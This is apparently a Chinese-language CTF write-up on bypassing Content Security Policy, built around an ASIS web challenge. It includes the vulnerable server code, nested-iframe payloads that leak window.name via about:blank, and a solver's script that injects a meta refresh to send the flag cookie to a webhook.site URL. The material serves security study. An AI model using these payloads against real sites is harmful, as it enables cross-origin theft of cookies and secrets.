CSP_Bypass

本文最后更新于:7 个月前

一些关于CSP的笔记

在接触xss题中逃不开bypassCSP的知识,但是一直没有做一个自己的笔记,因此这里来记录一下碰到的姿势:

iframe

原文章:Link

事情还得从去年的一道ASIS的web签到题讲起:

代码很短,逻辑也很简单,就是设置一个CSP,内容只有default-src: 'none',即默认不允许加载任何资源除非有明确指定资源来源,但是显然这里script-src也被替换为空了,所以乍一看似乎基本上是完全没法执行js脚本的,然后主要的可控点是letter的部分,然后会把letter中的$gift$替换为flag(如果是admin的话对应的就是真的flag了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env node
const express = require('express')
const cookieParser = require('cookie-parser')

const app = express()

app.use(cookieParser())
app.use((req,res,next)=>{
res.header(
'Content-Security-Policy',
[`default-src 'none';`, ...[(req.headers['sec-required-csp'] ?? '').replaceAll('script-src','')]]
)
if(req.headers['referer']) return res.type('text/plain').send('You have a typo in your http request')
next()
})

app.get('/',(req,res)=>{
let gift = req.cookies.gift ?? 'ASIS{test-flag}'
let letter = (req.query.letter ?? `You were a good kid in 2023 so here's a gift for ya: $gift$`).toString()
res.send(`<pre>${letter.replace('$gift$',gift)}</pre>`)
})

app.listen(8000)

思路非常的简单,但是最大的问题就是这里的CSP,相当的严格。。

现在看看上面的文章:

我自己做测试的时候简单写了个页面,CSP设置为default-src 'self',我想获取到secret,给了个用户可控的点。第一想法必然是通过xss来获取到secret,但是这里CSP的设置极为严格:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; ">
<title>CSP Example</title>
</head>
<body>
<?php echo $_GET['a'];?>
<p>secret: <?php echo md5(rand()); ?></p>
</body>
</html>

在另一个不同源的主机(称之为攻击机),我们先用一个iframe标签,引用CSP页面,然后再在CSP页面利用参数a插入一个<iframe>标签,并且分别给里外标签的id设为x和y,name设为1和2,

1
<iframe name='1' id='x' src='http://192.168.64.1:811/?a=<iframe id="y" name="2"></iframe>' onload=cspBypass(this.contentWindow) ></iframe>

这时候我访问攻击机,如果在希望获取到内层iframe的name,受到的限制并非来源于CSP,而是CORS,他们并非属于同源的主机,因此无法跨站获取到数据

我稍微给外层iframe添加一个onload事件,预期获得到一个object:

1
<iframe name='2' id='x' src='http://192.168.64.1:811/?a=<iframe id="y" name="1"></iframe>' onload=alert(this.contentWindow) ></iframe>

但是实际上并没有如预期的结果一般,在控制台中我们可以看到这样一句话,发现实际上是受限于同源策略:

在下面这样一个简单的测试代码中,可以发现下标为0的窗口实际上是内层被嵌套的窗口

1
<iframe name='2' id='x' srcdoc='<iframe id="y" name="1"></iframe>' onload=alert(this.contentWindow[0].name) ></iframe>

上面的文章提供了一种很是神奇的特性,当把内层iframe的location属性设置为about:blank的时候,既不会受CSP影响,也不会受到CORS的影响,最为重要的是,此时内外层的iframe窗口变成了“同源”的了,而name可以被泄露出来进而被实际上非同源的攻击机接收到,而name处虽无法执行js代码,但是可以和CSP页面的代码产生拼接闭合操作,进而泄露出数据

(不知道为什么不可以直接执行alert,必须要经过setTimeout或者setInterval等回调)

1
2
3
4
5
6
7
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe name='2' id='x' src='http://192.168.64.1:811/?a=<iframe id="y" name="1"></iframe>' onload=cspBypass(this.contentWindow) ></iframe>

回到ASIS的这道题上,我们让name=$gift$,即可泄露出cookie,由于要求来源不能有referer,可以通过iframe的referrerpolicy属性来设置不发送referer,

1
2
3
4
5
6
7
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe name='2' referrerpolicy="no-referrer" id='x' src='http://192.168.64.1:8000/?letter=<iframe id="y" name=$gift$></iframe>' onload=cspBypass(this.contentWindow) ></iframe>

后来看别人的题解其实用meta也行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<body>
<script>
const HOOK_URL = "https://webhook.site/xxx";

const main = async () => {
const elm = document.createElement("iframe");
elm.src =
"https://gimmecsp.asisctf.com?letter=" +
encodeURIComponent(
`<meta http-equiv="Refresh" content="0; URL=${HOOK_URL}/?q=$gift$">`
);
elm.referrerPolicy = "no-referrer";
document.body.appendChild(elm);
};
main();
</script>
</body>